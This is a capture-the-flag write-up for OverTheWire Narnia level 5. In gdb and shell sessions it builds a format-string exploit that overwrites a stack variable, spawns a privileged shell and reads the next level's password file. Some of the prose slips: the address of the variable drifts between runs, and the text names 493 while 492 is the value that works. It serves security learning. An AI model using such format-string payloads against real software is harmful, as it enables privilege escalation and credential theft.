OverTheWire.org - Narnia - Level 5 Writeup

The vulnerable code is:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){
        int i = 1;
        char buffer[64];

        snprintf(buffer, sizeof buffer, argv[1]);
        buffer[sizeof (buffer) - 1] = 0;
        printf("Change i's value from 1 -> 500. ");

        if(i==500){
                printf("GOOD\n");
        setreuid(geteuid(),geteuid());
                system("/bin/sh");
        }

        printf("No way...let me give you a hint!\n");
        printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
        printf ("i = %d (%p)\n", i, &i);
        return 0;
}

The interesting code is between line 13 and 16
If we are able to change the value of variable i from 1 to 500 we get a shell

i is stored on the stack just after buf[64] that we can control as comman line argument.
But note that it's not a buffer overflow: the istruction we can use to overwrite variable i is not a buffer copy (like a strcpy()), but a snprintf()
Could it be a format string vulnerability and not a buffer overflow?

Format string can be eploited by means of "%n" and "%x" format specifier of C *printf() functions.

  • %x reads and print the value from the current buffer pointer.
  • %n reads the value stored in the current buffer pointer and write to that memory location the number of characters already printed

Let's try with a sample format string with an initial string "AAAA" followed by some "%x", oviously inside gdb:
(gdb) r
Starting program: /narnia/narnia5 $(python -c 'print "AAAA%x%x"')
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [AAAA4141414131343134] (63)
i = 1 (0xffffd6c0)
[Inferior 1 (process 22454) exited normally]
(gdb)

In this case the first %x  read the first four bytes of buffer and printed them (41414141 is the hex representation of ASCII "AAAA"). The second %x reads the bytes 4-8 of buffer, that and prints them (3134 is the hex representation of ASCII "41", little-endian architecture)

Now let's add a break to the line after snprintf() function and then use a couple of format strings that contains a valid memory address on the stack like "0xffffdef4") and add a "%n"

  •  "\xf4\xde\xff\xff%n"
  •  "\xf4\xde\xff\xffBBBB%n"

Note that second string adds 4 ASCII byte to be printed and the memory address is reversed because Intel is little-endian:

(gdb) disassemble main
Dump of assembler code for function main:
   0x0804850b <+0>:     push   %ebp
   0x0804850c <+1>:     mov    %esp,%ebp
   0x0804850e <+3>:     push   %ebx
....
  0x08048528 <+29>:    call   0x80483f0 <snprintf@plt>
   0x0804852d <+34>:    add    $0xc,%esp
....
End of assembler dump.
(gdb) break *0x0804852d
Breakpoint 1 at 0x804852d
(gdb) set args $(python -c 'print "\xf4\xde\xff\xff%n"')
(gdb) r
Starting program: /narnia/narnia5 $(python -c 'print "\xf4\xde\xff\xff%n"')

Breakpoint 1, 0x0804852d in main ()
(gdb) x/wx 0xffffdef4
0xffffdef4:     0x00000004
(gdb) set args $(python -c 'print "\xf4\xde\xff\xffBBBB%n"')
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia5 $(python -c 'print "\xf4\xde\xff\xffBBBB%n"')

Breakpoint 1, 0x0804852d in main ()
(gdb) x/wx 0xffffdef4
0xffffdef4:     0x00000008

We were able to write the number 4 into 0xffffdef4 memory location. 4 is the number of bytes before the "%n "
With the second strings we wrote 8 bytes (the 4 bytes of the memory location in the buffer + 4 "B")

we can use this tecnique to write 500 to i variable, but we have to

  • find the i variable location on stack
  • Craft a format string shorter than 64 bytes that writes 500 bytes (more or less) and then issue a %x to the correct memory location

The first point is quite easy: the vulnerable code prints it (0xffffd6d0)

narnia5@narnia:~$ /narnia/narnia5 "AAAAAAAAAAAAAAAAAAAAAAAAA%x"
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [AAAAAAAAAAAAAAAAAAAAAAAAA41414141] (33)
i = 1 (0xffffd6d0)

The second point is a little harder, so let's go back to gdb and try with some sequences  that use also %x:

  • "\xf4\xde\xff\xff\xf4\xde\xff\xff%10x%n"
  • "\xf4\xde\xff\xff\xf4\xde\xff\xff%100x%n"

The first will print

(gdb) set args $(python -c 'print "\xf4\xde\xff\xff\xf4\xde\xff\xff%10x%n"')
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia5 $(python -c 'print "\xf4\xde\xff\xff\xf4\xde\xff\xff%10x%n"')

Breakpoint 1, 0x0804852d in main ()
(gdb) x/wx 0xffffdef4
0xffffdef4:     0x00000012
(gdb) set args $(python -c 'print "\xf4\xde\xff\xff\xf4\xde\xff\xff%100x%n"')
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia5 $(python -c 'print "\xf4\xde\xff\xff\xf4\xde\xff\xff%100x%n"')

Breakpoint 1, 0x0804852d in main ()
(gdb) x/wx 0xffffdef4
0xffffdef4:     0x0000006c

With different %x formats we are able to write different values
We have to write 500 (hex value: 0x1f4), let's do some tries in gdb( i.e. with 490 and more)

(gdb) set args $(python -c 'print "\xf4\xde\xff\xff\xf4\xde\xff\xff%490x%n"')
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia5 $(python -c 'print "\xf4\xde\xff\xff\xf4\xde\xff\xff%490x%n"')

Breakpoint 1, 0x0804852d in main ()
(gdb) x/wx 0xffffdef4
0xffffdef4:     0x000001f2
(gdb) set args $(python -c 'print "\xf4\xde\xff\xff\xf4\xde\xff\xff%492x%n"')
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia5 $(python -c 'print "\xf4\xde\xff\xff\xf4\xde\xff\xff%492x%n"')

Breakpoint 1, 0x0804852d in main ()
(gdb) x/wx 0xffffdef4
0xffffdef4:     0x000001f4
Seems that 493 is the good number
Now let's try with changing the memory address to the  variable address (0xffffd6e0) "\xe0\xd6\xff\xff\xe0\xd6\xff\xff%492x%n":

narnia5@narnia:~$ /narnia/narnia5 $(python -c 'print "\xe0\xd6\xff\xff\xe0\xd6\xff\xff%490x%n"')
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [▒▒▒▒▒▒▒▒                                                       ] (63)
i = 498 (0xffffd6e0)
narnia5@narnia:~$ /narnia/narnia5 $(python -c 'print "\xe0\xd6\xff\xff\xe0\xd6\xff\xff%492x%n"')
Change i's value from 1 -> 500. GOOD
$ id
uid=14006(narnia6) gid=14005(narnia5) groups=14005(narnia5)
$ cat /etc/narnia_pass/narnia6
n********g
$




No comments:

Post a Comment

Note: Only a member of this blog may post a comment.